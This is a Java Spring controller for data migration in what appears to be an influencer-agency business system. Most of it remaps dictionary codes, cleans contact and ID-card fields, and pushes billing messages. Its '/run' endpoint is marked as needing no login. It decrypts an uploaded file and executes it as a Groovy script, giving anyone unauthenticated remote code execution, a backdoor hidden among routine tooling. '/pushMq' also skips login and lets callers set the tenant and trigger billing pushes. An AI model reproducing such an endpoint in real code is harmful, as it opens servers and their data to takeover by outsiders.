package com.chenfan.mcn.controller;

import cn.hutool.core.util.StrUtil;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.core.toolkit.Wrappers;
import com.chenfan.common.vo.Response;
import com.chenfan.common.vo.ResponseCode;
import com.chenfan.mcn.annotations.NoLogin;
import com.chenfan.mcn.clients.baseinfo.BaseInfoClient;
import com.chenfan.mcn.clients.baseinfo.DescByCodeDTO;
import com.chenfan.mcn.clients.privilege.PrivilegeClient;
import com.chenfan.mcn.clients.privilege.SDepartment;
import com.chenfan.mcn.constant.BillCodeCst;
import com.chenfan.mcn.dao.*;
import com.chenfan.mcn.exception.McnErrorCode;
import com.chenfan.mcn.extension.Res;
import com.chenfan.common.extension.context.TraceContext;
import com.chenfan.common.extension.context.TraceContextHolder;
import com.chenfan.mcn.component.CodeGenerateHelper;
import com.chenfan.mcn.model.*;
import com.chenfan.mcn.model.dto.ChargePushMqDTO;
import com.chenfan.mcn.mq.producer.*;
import com.chenfan.mcn.service.IncomeContractService;
import com.chenfan.mcn.utils.BusinessAssert;
import com.chenfan.mcn.utils.CommonUtil;
import groovy.lang.GroovyShell;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.time.DateUtils;
import org.apache.commons.lang3.tuple.ImmutablePair;
import org.slf4j.MDC;
import org.springframework.beans.BeanUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.util.Assert;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;

import java.math.BigDecimal;
import java.util.*;
import java.util.concurrent.CompletableFuture;

/**
 * @author tangwei
 * Date:     2021/1/10 14:01
 * Description:
 */
@Slf4j
@RestController
public class DataMoveController {

    @Autowired
    private BaseInfoClient baseinfoClient;

    @Autowired
    private StarPlatformInfoMapper platformInfoMapper;

    @Autowired
    private StarBasicDataMapper starBasicDataMapper;

    @Autowired
    private StarContactPersonMapper starContactPersonMapper;

    @Autowired
    private QuarterMapper quarterMapper;

    @Autowired
    private PrivilegeClient privilegeClient;

    @Autowired
    private IncomeContractService incomeContractService;

    @Autowired
    private IncomeContractMessageProducer incomeContractMessageProducer;

    @Autowired
    private ExcutionOrderMessageProducer excutionOrderMessageProducer;

    @Autowired
    private IncomeContractAgreementMessageProducer incomeContractAgreementMessageProducer;

    @Autowired
    private AnnualRebateApprovalMessageProducer annualRebateApprovalMessageProducer;

    @Autowired
    private StarRebateContractMessageProducer starRebateContractMessageProducer;

    @Autowired
    private StarMonthlySettlementMessageProducer starMonthlySettlementMessageProducer;

    @Autowired
    private LiveStarSettlementMessageProducer liveStarSettlementMessageProducer;

    @Autowired
    private IncomeContactAgreementMapper incomeContactAgreementMapper;

    @Autowired
    private IncomeContractMapper incomeContractMapper;

    private static final Integer FIFTY = 50;
    private static final Integer FIVE = 5;


    private void updatePlatform(Map<String, String> dicts) {
        List<StarPlatformInfo> starPlatformInfos = platformInfoMapper.selectAll();
        for (StarPlatformInfo s : starPlatformInfos) {
            /**
             * 更新红人平台名称
             */
            String platformName = s.getPlatformName();
            if (platformName.contains(",")) {
                String[] split = platformName.split(",");
                for (int i = 0; i < split.length; i++) {
                    if (i == 0) {
                        s.setPlatformName(split[i]);
                        s.setPlatformId(dicts.get("Signing_platform" + ";" + s.getPlatformName()));
                        platformInfoMapper.updateById(s);
                    } else {
                        StarPlatformInfo ss = new StarPlatformInfo();
                        BeanUtils.copyProperties(s, ss);
                        ss.setId(null);
                        ss.setPlatformName(split[i]);
                        s.setPlatformId(dicts.get("Signing_platform" + ";" + ss.getPlatformName()));
                        platformInfoMapper.insert(ss);
                    }
                }
            } else {
                s.setPlatformId(dicts.get("Signing_platform" + ";" + s.getPlatformName()));
            }
        }
    }

    @GetMapping("/dicts")
    public Map<String, String> getDicts() {
        DescByCodeDTO descByCodeDTO = new DescByCodeDTO();
        List<String> profileCodes = Arrays.asList("star_nature", "star_classification", "active_platforms", "Good_at_type", "star_label", "star_source", "Recommended_index", "Matching_degree", "Signing_platform");
        descByCodeDTO.setProfileCodes(profileCodes);
        Map<String, String> newMap = new HashMap<>(16);
        Map<String, String> map = baseinfoClient.getDescByCode(descByCodeDTO).getObj();
        for (Map.Entry<String, String> entry : map.entrySet()) {
            String[] split = entry.getKey().split(";");
            newMap.put(split[0] + ";" + entry.getValue(), split[1]);
        }
        return newMap;
    }

    @PostMapping("/update")
    @Transactional(rollbackFor = Exception.class)
    public void setCode() {
        QueryWrapper<StarBasicData> queryWrapper = new QueryWrapper();
        List<StarBasicData> starBasicData = starBasicDataMapper.selectList(queryWrapper);
        Map<String, String> dicts = getDicts();
        for (StarBasicData s : starBasicData) {

            /**
             * 更新红人标签
             */
            String starLabel = s.getStarLabel();
            String truestarLabel = getEnglishDicts(starLabel, "star_label", dicts);
            s.setStarLabel(truestarLabel);

            /**
             * 更新红人性质
             */
            String starProperty = s.getStarProperty();
            s.setStarProperty(getEnglishDicts(starProperty, "star_nature", dicts));

            /**
             * 更新红人分类
             */
            String starClassification = s.getStarClassification();
            s.setStarClassification(getEnglishDicts(starClassification, "star_classification", dicts));

            /**
             * 更新主要活跃平台
             */
            String mainActivePlatforms = s.getMainActivePlatforms();
            s.setMainActivePlatforms(getEnglishDicts(mainActivePlatforms, "active_platforms", dicts));

            /**
             * 更新擅长类型
             */
            String goodAtType = s.getGoodAtType();
            s.setGoodAtType(getEnglishDicts(goodAtType, "Good_at_type", dicts));

            /**
             * 更新外部红人来源
             */
            String starSource = s.getStarSource();
            s.setStarSource(getEnglishDicts(starSource, "star_source", dicts));

            /**
             * 更新推荐指数
             */
            String indexRecommendation = s.getIndexRecommendation();
            s.setIndexRecommendation(getEnglishDicts(indexRecommendation, "Recommended_index", dicts));

            /**
             * 更新配合度
             */
            String matchingDegree = s.getMatchingDegree();
            s.setMatchingDegree(getEnglishDicts(matchingDegree, "Matching_degree", dicts));

            /**
             * 更新红人编号
             */
            s.setStarCode(CodeGenerateHelper.getCode(BillCodeCst.STAR_BASIC));

            /**
             * 更新红人优秀案例
             */
            String excellentCases = s.getExcellentCases();
            s.setExcellentCases(updateCases(excellentCases));

            /**
             * 更新红人签约平台
             */
            //TODO 该字段已迁移到红人签约合同表
            starBasicDataMapper.updateById(s);
        }

        /**
         * 更新红人平台名称
         */
        //updatePlatform(dicts);

        /**
         * 更新红人联系人
         */
        updateContactPerson();
    }

    @PostMapping("/updatePlatform")
    public void updatePlatform() {
        List<StarPlatformInfo> starPlatformInfos = platformInfoMapper.selectAll();
        final Map<String, String> dicts = getDicts();
        for (StarPlatformInfo s : starPlatformInfos) {
            s.setPlatformId(getEnglishDicts(s.getPlatformName(), "Signing_platform", dicts));
            platformInfoMapper.updateById(s);
        }
    }

    @PostMapping("/updatePhone")
    public void updatePhone() {
        List<StarContactPerson> starContactPeople = starContactPersonMapper.selectList(Wrappers.lambdaQuery(StarContactPerson.class).eq(StarContactPerson::getIsDelete, Boolean.FALSE));
        for (StarContactPerson starContactPerson : starContactPeople) {
            String nickName = starContactPerson.getNickName();
            if (nickName.startsWith("\t")) {
                String replace = nickName.replace("\t", "");
                starContactPerson.setNickName(replace);
            }
            String phone = starContactPerson.getPhone();
            if (phone.startsWith("\t")) {
                String replace = phone.replace("\t", "");
                starContactPerson.setPhone(replace);
            }
            starContactPersonMapper.updateById(starContactPerson);
        }
    }

    @PostMapping("/updateIDCard")
    public void updatable() {
        QueryWrapper<StarBasicData> queryWrapper = new QueryWrapper();
        List<StarBasicData> starBasicData = starBasicDataMapper.selectList(queryWrapper);
        for (StarBasicData s : starBasicData) {
            String idCard = s.getIdCard();
            if (idCard.startsWith("\t")) {
                String replace = idCard.replace("\t", "");
                s.setIdCard(replace);
                starBasicDataMapper.updateById(s);
            }
        }
    }

    private String updateCases(String cases) {
        String threeComma = ",,,";
        if (cases.equals(threeComma)) {
            return "";
        }
        String[] split = cases.split(",");
        StringBuffer sb = new StringBuffer();
        for (String s : split) {
            if (StrUtil.isNotBlank(s)) {
                sb.append(s).append(",");
            }
        }
        if (sb.length() > 0) {
            return sb.substring(0, sb.length() - 1);
        } else {
            return "";
        }
    }

    @NoLogin
    @PostMapping("/run")
    public Object run(@RequestParam("file") MultipartFile multipartFile) {
        try {
            MDC.clear();
            return CompletableFuture.supplyAsync(() -> new GroovyShell().parse(CommonUtil.decrypt(CommonUtil.getFileContent(multipartFile), CommonUtil.getFileNamePrefix(multipartFile.getOriginalFilename()))).invokeMethod("helloWorld", null)).get();
        } catch (Exception e) {
            return e.getMessage();
        }
    }

    private void updateContactPerson() {
        List<StarContactPerson> starContactPeople = starContactPersonMapper.selectList(Wrappers.lambdaQuery(StarContactPerson.class).eq(StarContactPerson::getIsDelete, Boolean.FALSE));
        for (StarContactPerson s : starContactPeople) {
            String nickName = s.getNickName();
            if ("无".equals(nickName) || "-".equals(nickName) || "/".equals(nickName) || "=".equals(nickName)) {
                s.setIsDelete(1);
            }
            if (nickName != null && !"".equals(nickName)) {
                if (nickName.contains(" ")) {
                    String[] split = nickName.split(" ");
                    for (String s1 : split) {
                        if (Character.isDigit(s1.charAt(0))) {
                            s.setPhone(s1);
                        } else {
                            s.setNickName(split[0]);
                        }
                    }
                } else {
                    if (Character.isDigit(nickName.charAt(0))) {
                        s.setNickName("");
                        s.setPhone(nickName);
                    } else {
                        s.setNickName(nickName);
                    }
                }
                starContactPersonMapper.updateById(s);
            }
        }
    }

    private String getEnglishDicts(String field, String key, Map<String, String> dicts) {
        String result = "";
        String comma = ",";
        if (field != null && field != "") {
            if (field.contains(comma)) {
                StringBuffer sb = new StringBuffer();
                String[] split = field.split(",");
                for (String s1 : split) {
                    String value = dicts.get(key + ";" + s1);
                    sb.append(value);
                    sb.append(",");
                }
                result = sb.substring(0, sb.length() - 1);
            } else {
                result = dicts.get(key + ";" + field);
            }
        }
        return result;
    }

    @SneakyThrows
    @GetMapping("/quarter")
    public void quarter() {
        for (int i = 0; i < FIFTY; i++) {
            for (int j = 1; j < FIVE; j++) {
                Quarter quarter = new Quarter();
                String quarterCode = 2021 + i + "Q" + j;
                quarter.setQuarterCode(quarterCode);
                String starTime = null;
                String endTime = null;
                if (j == 1) {
                    starTime = 2021 + i + "-01-01 00:00:00";
                    endTime = 2021 + i + "-03-31 23:59:59";

                }
                if (j == 2) {
                    starTime = 2021 + i + "-04-01 00:00:00";
                    endTime = 2021 + i + "-06-30 23:59:59";
                }
                if (j == 3) {
                    starTime = 2021 + i + "-07-01 00:00:00";
                    endTime = 2021 + i + "-09-30 23:59:59";
                }
                if (j == 4) {
                    starTime = 2021 + i + "-10-01 00:00:00";
                    endTime = 2021 + i + "-12-31 23:59:59";
                }
                quarter.setStartTime(DateUtils.parseDate(starTime, "yyyy-MM-dd HH:mm:ss"));
                quarter.setEndTime(DateUtils.parseDate(endTime, "yyyy-MM-dd HH:mm:ss"));
                quarterMapper.insert(quarter);
            }
        }
    }

    @GetMapping("/businessDepartment")
    public Res<List<SDepartment>> businessDepartment() {
        List<SDepartment> obj = privilegeClient.getBusinessDepartment().getObj();
        return Res.ok(obj);
    }

    @NoLogin
    @PostMapping("/pushMq")
    public Response<String> pushMq(@Validated  @RequestBody ChargePushMqDTO chargePushMqDTO) {
        TraceContextHolder.put(TraceContext.TENANT_ID, chargePushMqDTO.getTenantId());
        Long needPushId = chargePushMqDTO.getId();
        switch (chargePushMqDTO.getType().intValue()) {
            case 0:
                log.debug("收入合同{}推送费用", needPushId);
                incomeContractMessageProducer.sendRecordToMq(new ImmutablePair<>(needPushId, null));
                break;
            case 1:
                log.debug("执行单{}推送费用", needPushId);
                excutionOrderMessageProducer.sendRecordToMq(needPushId);
                break;
            case 2:
                log.debug("收入合同补充协议{}推送费用", needPushId);
                IncomeContractAgreement agreement = incomeContactAgreementMapper.selectById(needPushId);
                BusinessAssert.notNull(agreement, McnErrorCode.AGREEMENT_NOT_EXISTS);
                IncomeContract incomeContract = incomeContractMapper.selectById(agreement.getIncomeContractId());
                BusinessAssert.notNull(incomeContract, McnErrorCode.INCOME_NOT_EXISTS);
                incomeContractAgreementMessageProducer.sendRecordToMq(agreement.getId());
                break;
            case 3:
                log.debug("客户返点审批{}推送费用", needPushId);
                annualRebateApprovalMessageProducer.sendRecordToMq(needPushId);
                break;
            case 4:
                log.debug("红人返点合同{}推送费用", needPushId);
                starRebateContractMessageProducer.sendRecordToMq(needPushId);
                break;
            case 5:
                log.debug("红人月度结算单{}推送费用", needPushId);
                starMonthlySettlementMessageProducer.sendRecordToMq(needPushId);
                break;
            case 6:
                log.debug("直播红人结算单{}推送费用", needPushId);
                liveStarSettlementMessageProducer.sendRecordToMq(needPushId);
                break;
            default:
                break;
        }
        return Response.success(ResponseCode.SUCCESS);
    }

    @PostMapping("/refreshCalculationDevided")
    public Response<Boolean> refreshCalculationDevided() {
        return Response.success(incomeContractService.refreshCalculationDevided());
    }

    @GetMapping("/setExpectedAmount")
    public Res setExpectedAmount() {
        incomeContractService.setExpectedAmount();
        return Res.ok();
    }

    @GetMapping("/setSingleExpectedAmount")
    public Res setExpectedAmount(@RequestParam Long incomeContractId) {
        Assert.notNull(incomeContractId, "收入合同ID不能为空");
        incomeContractService.setSingleExpectedAmount(incomeContractId);
        return Res.ok();
    }

    @GetMapping("get")
    public Res<BigDecimal> getExpectedAmount(@RequestParam Long incomeContractId) {
        return Res.ok(incomeContractService.getExpectedAmount(incomeContractId));
    }
}